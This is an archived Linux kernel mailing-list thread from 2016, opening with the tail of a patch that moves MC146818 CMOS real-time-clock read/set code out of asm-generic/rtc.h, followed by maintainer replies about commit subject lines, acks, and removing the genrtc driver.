> +#include <linux/mc146818rtc.h>
>  
>  struct cmos_rtc {
>  	struct rtc_device	*rtc;
> @@ -190,10 +190,10 @@ static inline void cmos_write_bank2(unsigned char val, unsigned char addr)
>  static int cmos_read_time(struct device *dev, struct rtc_time *t)
>  {
>  	/* REVISIT:  if the clock has a "century" register, use
> -	 * that instead of the heuristic in get_rtc_time().
> +	 * that instead of the heuristic in mc146818_get_time().
>  	 * That'll make Y3K compatility (year > 2070) easy!
>  	 */
> -	get_rtc_time(t);
> +	mc146818_get_time(t);
>  	return 0;
>  }
>  
> @@ -205,7 +205,7 @@ static int cmos_set_time(struct device *dev, struct rtc_time *t)
>  	 * takes effect exactly 500ms after we write the register.
>  	 * (Also queueing and other delays before we get this far.)
>  	 */
> -	return set_rtc_time(t);
> +	return mc146818_set_time(t);
>  }
>  
>  static int cmos_read_alarm(struct device *dev, struct rtc_wkalrm *t)
> @@ -1142,14 +1142,14 @@ static __init void cmos_of_init(struct platform_device *pdev)
>  	if (val)
>  		CMOS_WRITE(be32_to_cpup(val), RTC_FREQ_SELECT);
>  
> -	get_rtc_time(&time);
> +	cmos_read_time(&pdev->dev, &time);
>  	ret = rtc_valid_tm(&time);
>  	if (ret) {
>  		struct rtc_time def_time = {
>  			.tm_year = 1,
>  			.tm_mday = 1,
>  		};
> -		set_rtc_time(&def_time);
> +		cmos_set_time(&pdev->dev, &def_time);
>  	}
>  }
>  #else
> diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
> index 4e3b6558331e..4fcff22cd707 100644
> --- a/include/asm-generic/rtc.h
> +++ b/include/asm-generic/rtc.h
> @@ -12,12 +12,12 @@
>  #ifndef __ASM_RTC_H__
>  #define __ASM_RTC_H__
>  
> -#include <linux/mc146818rtc.h>
>  #include <linux/rtc.h>
> -#include <linux/bcd.h>
> -#include <linux/delay.h>
> -#ifdef CONFIG_ACPI
> -#include <linux/acpi.h>
> +
> +#ifndef get_rtc_time
> +#include <linux/mc146818rtc.h>
> +#define get_rtc_time mc146818_get_time
> +#define set_rtc_time mc146818_set_time
>  #endif
>  
>  #define RTC_PIE 0x40		/* periodic interrupt enable */
> @@ -31,202 +31,6 @@
>  #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
>  #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
>  
> -/*
> - * Returns true if a clock update is in progress
> - */
> -static inline unsigned char rtc_is_updating(void)
> -{
> -	unsigned char uip;
> -	unsigned long flags;
> -
> -	spin_lock_irqsave(&rtc_lock, flags);
> -	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
> -	spin_unlock_irqrestore(&rtc_lock, flags);
> -	return uip;
> -}
> -
> -static inline unsigned int __get_rtc_time(struct rtc_time *time)
> -{
> -	unsigned char ctrl;
> -	unsigned long flags;
> -	unsigned char century = 0;
> -
> -#ifdef CONFIG_MACH_DECSTATION
> -	unsigned int real_year;
> -#endif
> -
> -	/*
> -	 * read RTC once any update in progress is done. The update
> -	 * can take just over 2ms. We wait 20ms. There is no need to
> -	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
> -	 * If you need to know *exactly* when a second has started, enable
> -	 * periodic update complete interrupts, (via ioctl) and then 
> -	 * immediately read /dev/rtc which will block until you get the IRQ.
> -	 * Once the read clears, read the RTC time (again via ioctl). Easy.
> -	 */
> -	if (rtc_is_updating())
> -		mdelay(20);
> -
> -	/*
> -	 * Only the values that we read from the RTC are set. We leave
> -	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
> -	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
> -	 * by the RTC when initially set to a non-zero value.
> -	 */
> -	spin_lock_irqsave(&rtc_lock, flags);
> -	time->tm_sec = CMOS_READ(RTC_SECONDS);
> -	time->tm_min = CMOS_READ(RTC_MINUTES);
> -	time->tm_hour = CMOS_READ(RTC_HOURS);
> -	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
> -	time->tm_mon = CMOS_READ(RTC_MONTH);
> -	time->tm_year = CMOS_READ(RTC_YEAR);
> -#ifdef CONFIG_MACH_DECSTATION
> -	real_year = CMOS_READ(RTC_DEC_YEAR);
> -#endif
> -#ifdef CONFIG_ACPI
> -	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> -	    acpi_gbl_FADT.century)
> -		century = CMOS_READ(acpi_gbl_FADT.century);
> -#endif
> -	ctrl = CMOS_READ(RTC_CONTROL);
> -	spin_unlock_irqrestore(&rtc_lock, flags);
> -
> -	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
> -	{
> -		time->tm_sec = bcd2bin(time->tm_sec);
> -		time->tm_min = bcd2bin(time->tm_min);
> -		time->tm_hour = bcd2bin(time->tm_hour);
> -		time->tm_mday = bcd2bin(time->tm_mday);
> -		time->tm_mon = bcd2bin(time->tm_mon);
> -		time->tm_year = bcd2bin(time->tm_year);
> -		century = bcd2bin(century);
> -	}
> -
> -#ifdef CONFIG_MACH_DECSTATION
> -	time->tm_year += real_year - 72;
> -#endif
> -
> -	if (century)
> -		time->tm_year += (century - 19) * 100;
> -
> -	/*
> -	 * Account for differences between how the RTC uses the values
> -	 * and how they are defined in a struct rtc_time;
> -	 */
> -	if (time->tm_year <= 69)
> -		time->tm_year += 100;
> -
> -	time->tm_mon--;
> -
> -	return RTC_24H;
> -}
> -
> -#ifndef get_rtc_time
> -#define get_rtc_time	__get_rtc_time
> -#endif
> -
> -/* Set the current date and time in the real time clock. */
> -static inline int __set_rtc_time(struct rtc_time *time)
> -{
> -	unsigned long flags;
> -	unsigned char mon, day, hrs, min, sec;
> -	unsigned char save_control, save_freq_select;
> -	unsigned int yrs;
> -#ifdef CONFIG_MACH_DECSTATION
> -	unsigned int real_yrs, leap_yr;
> -#endif
> -	unsigned char century = 0;
> -
> -	yrs = time->tm_year;
> -	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
> -	day = time->tm_mday;
> -	hrs = time->tm_hour;
> -	min = time->tm_min;
> -	sec = time->tm_sec;
> -
> -	if (yrs > 255)	/* They are unsigned */
> -		return -EINVAL;
> -
> -	spin_lock_irqsave(&rtc_lock, flags);
> -#ifdef CONFIG_MACH_DECSTATION
> -	real_yrs = yrs;
> -	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
> -			!((yrs + 1900) % 400));
> -	yrs = 72;
> -
> -	/*
> -	 * We want to keep the year set to 73 until March
> -	 * for non-leap years, so that Feb, 29th is handled
> -	 * correctly.
> -	 */
> -	if (!leap_yr && mon < 3) {
> -		real_yrs--;
> -		yrs = 73;
> -	}
> -#endif
> -
> -#ifdef CONFIG_ACPI
> -	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> -	    acpi_gbl_FADT.century) {
> -		century = (yrs + 1900) / 100;
> -		yrs %= 100;
> -	}
> -#endif
> -
> -	/* These limits and adjustments are independent of
> -	 * whether the chip is in binary mode or not.
> -	 */
> -	if (yrs > 169) {
> -		spin_unlock_irqrestore(&rtc_lock, flags);
> -		return -EINVAL;
> -	}
> -
> -	if (yrs >= 100)
> -		yrs -= 100;
> -
> -	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
> -	    || RTC_ALWAYS_BCD) {
> -		sec = bin2bcd(sec);
> -		min = bin2bcd(min);
> -		hrs = bin2bcd(hrs);
> -		day = bin2bcd(day);
> -		mon = bin2bcd(mon);
> -		yrs = bin2bcd(yrs);
> -		century = bin2bcd(century);
> -	}
> -
> -	save_control = CMOS_READ(RTC_CONTROL);
> -	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
> -	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
> -	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
> -
> -#ifdef CONFIG_MACH_DECSTATION
> -	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
> -#endif
> -	CMOS_WRITE(yrs, RTC_YEAR);
> -	CMOS_WRITE(mon, RTC_MONTH);
> -	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
> -	CMOS_WRITE(hrs, RTC_HOURS);
> -	CMOS_WRITE(min, RTC_MINUTES);
> -	CMOS_WRITE(sec, RTC_SECONDS);
> -#ifdef CONFIG_ACPI
> -	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> -	    acpi_gbl_FADT.century)
> -		CMOS_WRITE(century, acpi_gbl_FADT.century);
> -#endif
> -
> -	CMOS_WRITE(save_control, RTC_CONTROL);
> -	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
> -
> -	spin_unlock_irqrestore(&rtc_lock, flags);
> -
> -	return 0;
> -}
> -
> -#ifndef set_rtc_time
> -#define set_rtc_time	__set_rtc_time
> -#endif
> -
>  static inline unsigned int get_rtc_ss(void)
>  {
>  	struct rtc_time h;
> diff --git a/include/linux/mc146818rtc.h b/include/linux/mc146818rtc.h
> index 433e0c74d643..e9e346b37846 100644
> --- a/include/linux/mc146818rtc.h
> +++ b/include/linux/mc146818rtc.h
> @@ -14,6 +14,12 @@
>  #include <asm/io.h>
>  #include <linux/rtc.h>			/* get the user-level API */
>  #include <asm/mc146818rtc.h>		/* register access macros */
> +#include <linux/bcd.h>
> +#include <linux/delay.h>
> +
> +#ifdef CONFIG_ACPI
> +#include <linux/acpi.h>
> +#endif
>  
>  #ifdef __KERNEL__
>  #include <linux/spinlock.h>		/* spinlock_t */
> @@ -120,4 +126,192 @@ struct cmos_rtc_board_info {
>  #define RTC_IO_EXTENT_USED      RTC_IO_EXTENT
>  #endif /* ARCH_RTC_LOCATION */
>  
> +/*
> + * Returns true if a clock update is in progress
> + */
> +static inline unsigned char mc146818_is_updating(void)
> +{
> +	unsigned char uip;
> +	unsigned long flags;
> +
> +	spin_lock_irqsave(&rtc_lock, flags);
> +	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
> +	spin_unlock_irqrestore(&rtc_lock, flags);
> +	return uip;
> +}
> +
> +static inline unsigned int mc146818_get_time(struct rtc_time *time)
> +{
> +	unsigned char ctrl;
> +	unsigned long flags;
> +	unsigned char century = 0;
> +
> +#ifdef CONFIG_MACH_DECSTATION
> +	unsigned int real_year;
> +#endif
> +
> +	/*
> +	 * read RTC once any update in progress is done. The update
> +	 * can take just over 2ms. We wait 20ms. There is no need to
> +	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
> +	 * If you need to know *exactly* when a second has started, enable
> +	 * periodic update complete interrupts, (via ioctl) and then 
> +	 * immediately read /dev/rtc which will block until you get the IRQ.
> +	 * Once the read clears, read the RTC time (again via ioctl). Easy.
> +	 */
> +	if (mc146818_is_updating())
> +		mdelay(20);
> +
> +	/*
> +	 * Only the values that we read from the RTC are set. We leave
> +	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
> +	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
> +	 * by the RTC when initially set to a non-zero value.
> +	 */
> +	spin_lock_irqsave(&rtc_lock, flags);
> +	time->tm_sec = CMOS_READ(RTC_SECONDS);
> +	time->tm_min = CMOS_READ(RTC_MINUTES);
> +	time->tm_hour = CMOS_READ(RTC_HOURS);
> +	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
> +	time->tm_mon = CMOS_READ(RTC_MONTH);
> +	time->tm_year = CMOS_READ(RTC_YEAR);
> +#ifdef CONFIG_MACH_DECSTATION
> +	real_year = CMOS_READ(RTC_DEC_YEAR);
> +#endif
> +#ifdef CONFIG_ACPI
> +	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> +	    acpi_gbl_FADT.century)
> +		century = CMOS_READ(acpi_gbl_FADT.century);
> +#endif
> +	ctrl = CMOS_READ(RTC_CONTROL);
> +	spin_unlock_irqrestore(&rtc_lock, flags);
> +
> +	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
> +	{
> +		time->tm_sec = bcd2bin(time->tm_sec);
> +		time->tm_min = bcd2bin(time->tm_min);
> +		time->tm_hour = bcd2bin(time->tm_hour);
> +		time->tm_mday = bcd2bin(time->tm_mday);
> +		time->tm_mon = bcd2bin(time->tm_mon);
> +		time->tm_year = bcd2bin(time->tm_year);
> +		century = bcd2bin(century);
> +	}
> +
> +#ifdef CONFIG_MACH_DECSTATION
> +	time->tm_year += real_year - 72;
> +#endif
> +
> +	if (century)
> +		time->tm_year += (century - 19) * 100;
> +
> +	/*
> +	 * Account for differences between how the RTC uses the values
> +	 * and how they are defined in a struct rtc_time;
> +	 */
> +	if (time->tm_year <= 69)
> +		time->tm_year += 100;
> +
> +	time->tm_mon--;
> +
> +	return RTC_24H;
> +}
> +
> +/* Set the current date and time in the real time clock. */
> +static inline int mc146818_set_time(struct rtc_time *time)
> +{
> +	unsigned long flags;
> +	unsigned char mon, day, hrs, min, sec;
> +	unsigned char save_control, save_freq_select;
> +	unsigned int yrs;
> +#ifdef CONFIG_MACH_DECSTATION
> +	unsigned int real_yrs, leap_yr;
> +#endif
> +	unsigned char century = 0;
> +
> +	yrs = time->tm_year;
> +	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
> +	day = time->tm_mday;
> +	hrs = time->tm_hour;
> +	min = time->tm_min;
> +	sec = time->tm_sec;
> +
> +	if (yrs > 255)	/* They are unsigned */
> +		return -EINVAL;
> +
> +	spin_lock_irqsave(&rtc_lock, flags);
> +#ifdef CONFIG_MACH_DECSTATION
> +	real_yrs = yrs;
> +	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
> +			!((yrs + 1900) % 400));
> +	yrs = 72;
> +
> +	/*
> +	 * We want to keep the year set to 73 until March
> +	 * for non-leap years, so that Feb, 29th is handled
> +	 * correctly.
> +	 */
> +	if (!leap_yr && mon < 3) {
> +		real_yrs--;
> +		yrs = 73;
> +	}
> +#endif
> +
> +#ifdef CONFIG_ACPI
> +	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> +	    acpi_gbl_FADT.century) {
> +		century = (yrs + 1900) / 100;
> +		yrs %= 100;
> +	}
> +#endif
> +
> +	/* These limits and adjustments are independent of
> +	 * whether the chip is in binary mode or not.
> +	 */
> +	if (yrs > 169) {
> +		spin_unlock_irqrestore(&rtc_lock, flags);
> +		return -EINVAL;
> +	}
> +
> +	if (yrs >= 100)
> +		yrs -= 100;
> +
> +	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
> +	    || RTC_ALWAYS_BCD) {
> +		sec = bin2bcd(sec);
> +		min = bin2bcd(min);
> +		hrs = bin2bcd(hrs);
> +		day = bin2bcd(day);
> +		mon = bin2bcd(mon);
> +		yrs = bin2bcd(yrs);
> +		century = bin2bcd(century);
> +	}
> +
> +	save_control = CMOS_READ(RTC_CONTROL);
> +	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
> +	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
> +	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
> +
> +#ifdef CONFIG_MACH_DECSTATION
> +	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
> +#endif
> +	CMOS_WRITE(yrs, RTC_YEAR);
> +	CMOS_WRITE(mon, RTC_MONTH);
> +	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
> +	CMOS_WRITE(hrs, RTC_HOURS);
> +	CMOS_WRITE(min, RTC_MINUTES);
> +	CMOS_WRITE(sec, RTC_SECONDS);
> +#ifdef CONFIG_ACPI
> +	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
> +	    acpi_gbl_FADT.century)
> +		CMOS_WRITE(century, acpi_gbl_FADT.century);
> +#endif
> +
> +	CMOS_WRITE(save_control, RTC_CONTROL);
> +	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
> +
> +	spin_unlock_irqrestore(&rtc_lock, flags);
> +
> +	return 0;
> +}
> +
>  #endif /* _MC146818RTC_H */
> -- 
> 2.7.0
> 

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 11:44:10 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20160427094410.GJ3264@piout.net>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461750287 1110 80.91.229.3 (27 Apr 2016 09:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 09:44:47 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Apr 27 11:44:33 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1avM1H-0004BH-PS
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 27 Apr 2016 11:44:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753035AbcD0Joa (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 27 Apr 2016 05:44:30 -0400
Original-Received: from down.free-electrons.com ([37.187.137.238]:49409 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752988AbcD0Jo2 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 27 Apr 2016 05:44:28 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 110)
	id A00DC357; Wed, 27 Apr 2016 11:44:25 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT
	shortcircuit=ham autolearn=disabled version=3.4.0
Original-Received: from localhost (unknown [37.165.126.67])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 43B96B2;
	Wed, 27 Apr 2016 11:44:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26670 gmane.linux.ports.alpha:3665 gmane.linux.kernel:2209186 gmane.linux.ports.parisc:26693 gmane.linux.ports.ppc64.devel:126474 gmane.linux.ports.sh.devel:53850 gmane.linux.kernel.cross-arch:31750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26670>

On 26/04/2016 at 23:44:04 +0200, Arnd Bergmann wrote :
> I've had these patches in my tree for a while, after the first one
> had a few issues that are fixed in this new version. The old-style
> PC RTC driver is now also disabled on m68k (as pointed out by
> Geert), ppc (it was also blacklisted), and m32r (I showed that
> it did not build).
> 
> For the genrtc driver, rearranging the headers makes it simpler
> to use and reduces duplication. In case of alpha and mn10300,
> I've shown that the genrtc and rtc drivers are doing the same
> thing, so we don't need them both. The remaining three
> architectures (m68k, parisc, powerpc) actually all support
> the newer rtc-generic driver, so we could remove genrtc completely
> if we want to.
> 

Personally, I'd go for the kill and remove genrtc instead of cleaning it
up.

-- 
Alexandre Belloni, Free Electrons
Embedded Linux, Kernel and Android engineering
http://free-electrons.com
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 4/8] char/rtc: move mc146818rtc code out of asm-generic/rtc.h
Date: Wed, 27 Apr 2016 11:59:45 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <13463932.UFUngJV7ZH@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <1461707052-1337718-5-git-send-email-arnd@arndb.de> <20160427084707.GI3264@piout.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461751265 17238 80.91.229.3 (27 Apr 2016 10:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:01:05 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	dalias@libc.org, linux-ia64@vger.kernel.org,
	linux-sh@vger.kernel.org, dhowells@redhat.com,
	linux-arch@vger.kernel.org, deller@gmx.de, x86@kernel.org,
	jejb@parisc-linux.org, geert@linux-m68k.org,
	rtc-linux@googlegroups.com, ink@jurassic.park.msu.ru,
	rth@twiddle.net, a.zummo@towertech.it, tony.luck@intel.com,
	linux-parisc@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	yasutake.koichi@jp.panasonic.com
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 27 12:00:54 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avMH7-0000Zr-4B
	for glk-linux-kernel-3@plane.gmane.org; Wed, 27 Apr 2016 12:00:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753612AbcD0KAo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 06:00:44 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.134]:51276 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753053AbcD0KAk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 06:00:40 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue002) with ESMTPSA (Nemesis) id 0LisgQ-1bYFyo07IM-00dDDG; Wed, 27 Apr
 2016 11:59:55 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <20160427084707.GI3264@piout.net>
X-Provags-ID: V03:K0:NDXG5rvDxmZ9RvBGtgQi0Jekve5xDwS1nGl7lKRWJyJ/QEK7yR5
 BlBcMvgwj3l3pXnQa1YmH5+MXLEuRKQnOguvdAC+cuDrmYLs+CHrXD+W1oZ83xhzbv8BMq5
 rC++CWbdB+7zuDep10xoDaSxE/QL0E+0wqjMyGbWjoQEYkWr2iVLs++rR0aNRzK9kC7knWX
 q+U+F2HKsH9gym8dfW4pQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Xj5AoTJgnKQ=:v0U731v4apMrHsnAEl7/ce
 Pn9FQVquj9+yddvJFj1HLFxsYQaUuzinF8Sjpsl07M2R1nKHOtMV/oFt3c27MrmbkmTutPFQP
 5CDp2eT/ZKfjCHUWdxyA3gwGZIVy4ojlRFTXwbRIx27EuTK0zpaILrzDb8vrq4XSYoyjwv7LL
 ZvThYn1WjlHXE2oU60zS1Fe1xlu7mRsZVC23DEel0enomg03EoFCnwrCl0anQsSufJGV90uIU
 786Z4d2jYpgepuWrnAO3WdbyXMQzoomA4hGn8wLR6VqSLsZTvsY+XmbzZuxs9lwPbJto2iTo7
 VECIieTQKNjMRHfMWC4rJQNlyk0EjWXkGPHeJaxu22Xiyp0WWYffBGLoP4C4E/GEX+m4+uiuV
 /+d7bhm7BEQKzbqcBEofOVnAuI9JW/I/Apa6uaqbI98OPxWrii1rUxnRkYCyTFK1gWL+PcFoU
 HYrdyXvQvQH29xQ/DPkEgaMjdgSB8WE/9hH0T3WCa6eHl+Dr44wKqS90dayp7EWz1wp2gTrlX
 Humcj7Iy0c2YD1PoWSKs3Lk0NwzXbO/JLYBUygBHdhK9tC5bHoy2402tvCCnP6iSZIwCa1BRL
 irw1vxMsGc3fnIZTRqT61aFDS1gOYCUSmpTU6icNOGrD/RvsO+Zj4GHGh/dzwDbHG/4xTMQxP
 kNKybhPjgqBQomFSJuBNX21jetC1YAShCeZ2OwYR4V8WZCs/XtElAP8J1zwwEH9yI+bZOQW1i
 t0t+0dz0jBfSqtcv
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2209199 gmane.linux.ports.ppc64.devel:126475 gmane.linux.ports.ia64:26671 gmane.linux.ports.sh.devel:53851 gmane.linux.kernel.cross-arch:31751 gmane.linux.ports.parisc:26694 gmane.linux.ports.alpha:3666
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2209199>

On Wednesday 27 April 2016 11:29:12 Alexandre Belloni wrote:
> The subject should be:
> rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h

Good point, the functions are only used by rtc-cmos, not the old
drivers/char/rtc.c.
 
> Else, you can add:
> Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>

Thanks.

	Arnd


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 2/8] char/rtc: legacy RTC is no longer supported on x86
Date: Wed, 27 Apr 2016 12:05:23 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.11.1604271205100.3941@nanos>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <1461707052-1337718-3-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1461751666 23249 80.91.229.3 (27 Apr 2016 10:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:07:46 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Apr 27 12:07:43 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avMNh-0002e2-T1
	for glps-linuxsh-dev@plane.gmane.org; Wed, 27 Apr 2016 12:07:42 +0200
